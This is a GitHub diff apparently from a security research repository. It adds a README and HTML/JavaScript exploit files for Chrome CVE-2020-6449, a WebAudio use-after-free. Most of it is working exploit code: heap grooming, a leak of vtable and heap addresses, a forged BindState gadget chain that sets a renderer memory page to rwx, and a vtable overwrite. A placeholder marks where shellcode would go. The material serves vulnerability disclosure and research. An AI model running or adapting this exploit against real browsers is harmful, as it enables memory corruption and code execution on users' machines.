github · xcorail · Oct 27, 2020 · Oct 26, 2020 · Oct 26, 2020
diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/README.md b/SecurityExploits/Chrome/blink/CVE-2020-6449/README.md
@@ -0,0 +1,24 @@
+## Exploit for Chrome CVE-2020-6449
+
+The write up can be found [here](https://securitylab.github.com/research/CVE-2020-6449-exploit-chrome-uaf). This is a bug in the webaudio component I discovered in March 2020. Chromium issue ticket can be found [here.](https://bugs.chromium.org/p/chromium/issues/detail?id=1059686)
+
+The exploit is tested on Ubuntu 18.04 LTS, version 80.0.3987.137, with the following build config: (Probably can reduce symbol level)
+
+```
+is_debug=false
+symbol_level = 2
+blink_symbol_level = 2
+```
+
+Offsets and object sizes used are based on the linux build.
+
+The exploit is mostly reliable when testing on localhost with python `SimpleHTTPServer`. However, it is not 100% reliable. This is due to the hardcoded offset between the address of a memory bucket that was leaked and the memory bucket that is actually used to store controlled data. This offset is used in `calculateControlledAddress`:
+
+```
+  //Hardcoded offset between heap bins.
+  let controlledAddress = bigIntView[0] + 0x184798n;
+```
+
+This mostly fail when there is a broken pipe problem with the `SimpleHTTPServer`, which happens when the browser is not shutdown properly (shutdown by `Ctrl+C` rather than closing it from UI) Reliability can probably be improved by using memory buckets that are closer together, or just by putting the whole thing inside an out-of-process-iframe so that if it crashed, it can be restarted from the parent. (Although the bucket offset would need to be tuned again in this case)
+
+The exploit takes a couple of minutes to run. If successful, it will overwrite memory permission for a page that holds our controlled data and will print out the address of this page. It can then be verified that the memory permission has been written to `rwx` for that page using `/proc/<id>/maps` (the renderer can be easy to spot by as it should consumed about 400Mb of memory). After that, executing shell code is easy, although I have not included or executed any shell code in this exploit.
diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js b/SecurityExploits/Chrome/blink/CVE-2020-6449/delay-processor.js
@@ -0,0 +1,15 @@
+// white-noise-processor.js
+function sleep(miliseconds) {
+   var currentTime = new Date().getTime();
+   while (currentTime + miliseconds >= new Date().getTime()) {
+   }
+}
+
+class DelayProcessor extends AudioWorkletProcessor {
+  process (inputs, outputs, parameters) {
+    sleep(2);
+    return true
+  }
+}
+
+registerProcessor('delay-processor', DelayProcessor)
diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release.html b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release.html
@@ -0,0 +1,298 @@
+<html>
+<head>
+<script>
+audioCtx = new OfflineAudioContext(1, 3072, 3072);
+audioCtx2 = new OfflineAudioContext(1, 3072, 3072);
+audioCtx3 = new OfflineAudioContext(1, 3072, 3072);
+audioCtx4 = new OfflineAudioContext(1, 3072, 3072);
+audioCtx5 = new OfflineAudioContext(1, 3072, 3072);
+panners = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()]
+delayPad = new Array(2);
+counter = 0;
+delay_leak = null;
+controlled_data = null;
+controlled_data2 = null;
+arr = [audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner(), audioCtx.createPanner()];
+pageOffset = 1736;
+hrtf_vtable_offset = 0xa1b6b30n;
+//base::internal::Invoker<base::internal::BindState<void (*)(blink::KURL const&, base::WaitableEvent*, std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> >*), blink::KURL, WTF::CrossThreadUnretainedWrapper<base::WaitableEvent>, WTF::CrossThreadUnretainedWrapper<std::__1::unique_ptr<blink::WebGraphicsContext3DProvider, std::__1::default_delete<blink::WebGraphicsContext3DProvider> > > >, void ()>::RunOnce(base::internal::BindStateBase*)
+polymorphicInvokerOffset = 0x97b7d50n;
+
+function sleep(miliseconds) {
+   var currentTime = new Date().getTime();
+   while (currentTime + miliseconds >= new Date().getTime()) {
+   }
+}
+
+function convertAddress(float) {
+  let buf = new ArrayBuffer(4);
+  floatView = new Float32Array(buf);
+  intView = new Uint8Array(buf);
+  floatView[0] = float;
+  let out = '';
+  for (let i = 3; i >= 0; i--) {
+    if (intView[i] == 0) {
+      out += '00';
+      continue;
+    }
+    let result = intView[i].toString(16);
+    out += intView[i].toString(16);
+  }
+  return out;
+}
+
+function addressToInt64(float0, float1) {
+  let buf = new ArrayBuffer(8);
+  floatView = new Float32Array(buf);
+  int8View = new Uint8Array(buf);
+  floatView[0] = float0;
+  floatView[1] = float1;
+  //Fix alignment
+  let bigBuf = new ArrayBuffer(8);
+  let bigint8View = new Uint8Array(bigBuf);
+  for (let i = 0; i < 6; i++) {
+   bigint8View[i] = int8View[i +2]; 
+  }
+  bigint8View[6] = 0;
+  bigint8View[7] = 0;
+  let bigint64View = new BigUint64Array(bigBuf);
+  return bigint64View[0];
+}
+
+function load() {
+  //Pad to make controlled data overlap with boundary
+  delayPad[0] = audioCtx4.createDelay(0.1663);
+  //Allocate controlled data
+  controlled_data = audioCtx2.createDelay(0.1663);
+  controlled_data2 = audioCtx5.createDelay(0.1663);
+
+  //Arrange the layout of the bucket 1152
+  //First 3 chunks
+  for (let i = 0; i < panners.length; i++) {
+    panners[i].panningModel = 'HRTF';
+  }
+  //Create a DelayDSPKernel whose buffer_ has the right size, which will be used to leak data.
+  delay_leak = audioCtx.createDelay(0.0908);
+  //3/3072 = 1./1024, need denominator to be power of 2 to make some arithmetic simpler
+  delay_leak.delayTime.value =  3 * 0.0009765625;
+//SetPanningModel also creates a bunch of other buffers with size 1056 in a different thread, wait for these to be created first
+  //before deleting so that the gap doesn't get occupied by these.
+  sleep(1000);
+  //Free up the first 3 chunks to arrange the layout, in reverse order
+  for (let i = panners.length - 1; i >= 0; i--) {
+    panners[i].panningModel = 'equalpower';
+  }
+  audioCtx.audioWorklet.addModule('delay-processor.js').then(()=>{
+    createIframe();
+  });
+}
+
+function createIframe() {
+  let iframe = document.createElement('iframe');
+  iframe.style.display="none";
+  iframe.setAttribute('id', 'ifrm');
+  iframe.src = 'finished_delay_release2.html';
+  document.body.appendChild(iframe);
+}
+
+function calculatePageStart(address) {
+  return address & (-4096n)
+}
+
+function writeSource(vtableAddress, controlledAddress) {
+  let buffer = audioCtx2.createBuffer(1, 512, 3072);
+
+  let data = buffer.getChannelData(0);
+  let int8View = new Uint8Array(data.buffer);
+  let baseAddress = vtableAddress - hrtf_vtable_offset - 16n;
+//  let ropAddress = baseAddress + 158215616n + 564n - 16n;
+  //Jump to BlobCompleteCaller::OnComplete to call virtual function
+  let ropAddress = baseAddress + 0x305bd40n;
+  //Just a NoOpt address
+  let retAddress = ropAddress + 0x2cn;
+  let addressBuffer = new ArrayBuffer(8);
+  let bigIntView = new BigUint64Array(addressBuffer);
+  bigIntView[0] = ropAddress;
+  let ropInt8View = new Uint8Array(addressBuffer);
+  //Stores address to BlobCompleteCaller::OnComplete
+  let offset = 8 + 1736;
+  let size = 8;
+  for (let i = offset; i < offset + size; i++) {
+    int8View[i] = ropInt8View[i - offset];
+  }
+  offset += size;
+  //Stores bindState
+  size = 0xa8;
+  let polymorphicInvoker = baseAddress + polymorphicInvokerOffset;
+//PolymorphicInvoker:
+  //mov rax,QWORD PTR [rdi + 0x20]; <-- function call
+  //mov rsi,QWORD PTR [rdi + 0x98]; <-- size
+  //mov rdx,QWORD PTR [rdi + 0xa0]; <-- access
+  //add rdi, 0x28 <--- page address to set permission
+  let setPermissions = baseAddress + 0x7f53980n;
+  let bindState = new ArrayBuffer(size);
+  let bindStateView = new DataView(bindState);
+  bindStateView.setBigUint64(0, 1n, true);
+  bindStateView.setBigUint64(8, polymorphicInvoker, true);
+  bindStateView.setBigUint64(0x10, retAddress, true);
+  bindStateView.setBigUint64(0x18, retAddress, true);
+  bindStateView.setBigUint64(0x20, setPermissions, true);
+  bindStateView.setBigUint64(0x98, 4096n, true);  //<-- size
+  bindStateView.setBigUint64(0xa0, 0x03n, true);  //<-- access
+  let bindStateIntView = new Uint8Array(bindState);
+  for (let i = offset; i < offset + size; i++) {
+    int8View[i] = bindStateIntView[i - offset];
+  }
+  //Replace with shell code.
+  for (let i = offset + size; i < offset + size + 3; i++) {
+    int8View[i] = 0x42;
+  }
+
+  let src = audioCtx2.createBufferSource();
+  src.buffer = buffer;
+  src.connect(controlled_data);
+  controlled_data.connect(audioCtx2.destination);
+  src.start();
+  audioCtx2.suspend((4 * 128)/3072.0);
+
+  audioCtx2.startRendering();
+}
+
+function bigInt2Int8(bigInt) {
+  let buffer = new ArrayBuffer(8);
+  let bigIntView = new BigUint64Array(buffer);
+  let intView = new Uint8Array(buffer);
+  bigIntView[0] = bigInt;
+  return intView;
+}
+
+function rewriteVtable(controlledAddress) {
+  let buffer = audioCtx3.createBuffer(1, 280, 3072);
+  let data = buffer.getChannelData(0);
+  let int8View = new Uint8Array(data.buffer);
+  //Overwrite vtable to controlledAddress
+  let fakeVtableAddr = controlledAddress + 1736n;
+  let controlledInt8 = bigInt2Int8(fakeVtableAddr);
+  for (let i = 1090; i < 1098; i++) {
+    int8View[i] = controlledInt8[i - 1090];
+  }
+  //ControlledAddress + 16n now stores fake BindState
+  controlledInt8 = bigInt2Int8(fakeVtableAddr + 16n);
+  for (let i = 1098; i < 1098 + 8; i++) {
+    int8View[i] = controlledInt8[i - 1098];
+  }
+  let fakeObj = audioCtx3.createBufferSource();
+  fakeObj.buffer = buffer;
+  let delay = audioCtx3.createDelay(0.0908);
+  fakeObj.connect(delay);
+  delay.connect(audioCtx3.destination);
+  fakeObj.start();
+  audioCtx3.suspend((3 * 128)/3072.0).then(()=> {
+    arr[3].panningModel = 'equalpower';
+  });
+  audioCtx3.startRendering();
+}
+
+async function leak_addresses() {
+  let src = audioCtx.createOscillator();
+  src.connect(delay_leak);
+  delay_leak.connect(audioCtx.destination);
+  var buffer = await audioCtx.startRendering();
+  src.disconnect(delay_leak);
+  delay_leak.disconnect(audioCtx.destination);
+  delete src;
+  delete delay_leak;
+  let x = [];
+  for (let i = 0; i < 100; i++) {
+    x.push(new ArrayBuffer(1024 * 1024));
+  }
+  let out = buffer.getChannelData(0);
+  let addr0 = convertAddress(out[1]);
+  addr0 = addr0.substring(0,4);
+  let addr1 = convertAddress(out[2]);
+  let addr2 = convertAddress(out[5]);
+  addr2 = addr2.substring(0,4);
+  let addr3 = convertAddress(out[6]);
+  let div = document.getElementById("div1");
+  div.innerHTML = 'HRTFPanner vtable address: 0x' + addr1 + addr0 + ' bin72 address: 0x' + addr3 + addr2;
+  let intVtable = addressToInt64(out[1], out[2]);
+  let intHeap = addressToInt64(out[5], out[6]);
+  let div2 = document.getElementById("div2");
+  div2.innerHTML = 'HRTFPanner vtable: ' + intVtable + ' bin72: ' + intHeap;
+  return {vtable: intVtable, heap: intHeap}
+}
+
+function bigInt2hex(bigInt) {
+  let result = new BigUint64Array([bigInt]);
+  let resultInt8View = new Uint8Array(result.buffer);
+  let out = '';
+  for (let i = 7; i >= 0; i--) {
+    if (resultInt8View[i] == 0) {
+      out += '00';
+    } else {
+      out += resultInt8View[i].toString(16);
+    }
+  }
+  return out
+}
+
+function calculateControlledAddress(heapAddress) {
+  //Replace offset as it can be unreliable in the size 72 bin
+  let buffer = new ArrayBuffer(8);
+  let int8View = new Uint8Array(buffer);
+  let bigIntView = new BigUint64Array(buffer);
+  bigIntView[0] = heapAddress;
+  int8View[0] = 0x68;
+  int8View[1] = 0x41;
+  //Hardcoded offset between heap bins.
+  let controlledAddress = bigIntView[0] + 0x184798n;
+
+  let out = bigInt2hex(controlledAddress);
+  let page = bigInt2hex(controlledAddress + 0x700n);
+
+  let div3 = document.getElementById("div3");
+  div3.innerHTML = 'Controlled data address: 0x' + out + 'int address: ' + controlledAddress;
+  let div4 = document.getElementById("div4");
+  div4.innerHTML = 'Page permission from address: 0x' + page + ' will be written to rwx';
+  return controlledAddress;
+} 
+
+function remove() {
+  let frame = document.getElementById("ifrm");
+  frame.parentNode.removeChild(frame);
+
+  if (counter < 32 + 4 * 7 + 2) {
+    //Trigger bug to move chunk backwards
+    let biquad = audioCtx.createBiquadFilter();
+    counter++;
+    console.log(counter);
+    delete biquad;
+    sleep(700);
+    createIframe();
+  } else {
+    //Fill the gap
+    for (let i = 0; i < arr.length; i++) {
+      arr[i].panningModel = 'HRTF';
+    }
+    leak_addresses().then((results) => {
+      controlledAddress = calculateControlledAddress(results.heap);
+      writeSource(results.vtable, controlledAddress);
+      for (let i = 0; i < 100; i++) {
+        new ArrayBuffer(1024 * 1024);
+      }
+      setTimeout(()=> {
+        rewriteVtable(controlledAddress);
+        }, 1000
+      );
+    });
+  }
+}
+</script>
+</head>
+<body onload="load()">
+  <div id = "div1"></div>
+  <div id = "div2"></div>
+  <div id = "div3"></div>
+  <div id = "div4"></div>
+</body>
+</html>
diff --git a/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html b/SecurityExploits/Chrome/blink/CVE-2020-6449/finished_delay_release2.html
@@ -0,0 +1,45 @@
+<!DOCTYPE html>
+<html>
+<head>
+<script>
+async function startStop() {
+  let audioCtx = new OfflineAudioContext(1,3072,3072);
+  await audioCtx.audioWorklet.addModule('test-processor2.js');
+  let src = audioCtx.createConstantSource();
+  src.start();
+  src.stop();
+  return audioCtx;
+}
+
+function resume(audioCtx) {
+	audioCtx.suspend((3 * 128)/3072.0).then(()=>{
+	  let dest = audioCtx.createOscillator();
+	  dest.start();
+	  for (let i = 1; i < 2000; i++) {
+		dest = dest.connect(audioCtx.createPanner());
+	  }
+	  dest.connect(audioCtx.destination);
+	  let testNode = new AudioWorkletNode(audioCtx, 'test-processor', {'numberOfOutputs' : 0});
+	  let splitter = audioCtx.createChannelSplitter(2);
+	  let src2 = audioCtx.createOscillator();
+	  src2.connect(splitter);
+	  splitter.connect(audioCtx.destination, 1);
+	  splitter.connect(testNode, 0);
+	  for (let i = 0; i < 100; i++) {
+		new ArrayBuffer(1024 * 1024 * 60);
+	  }
+	  setTimeout(()=>{
+		audioCtx.resume();
+		parent.remove();
+	  }, 100);
+	});
+    audioCtx.startRendering();
+}
+
+function onLoad() {
+  startStop().then(resume);
+}
+</script>
+</head>
+<body onload="onLoad()"/>
+</html>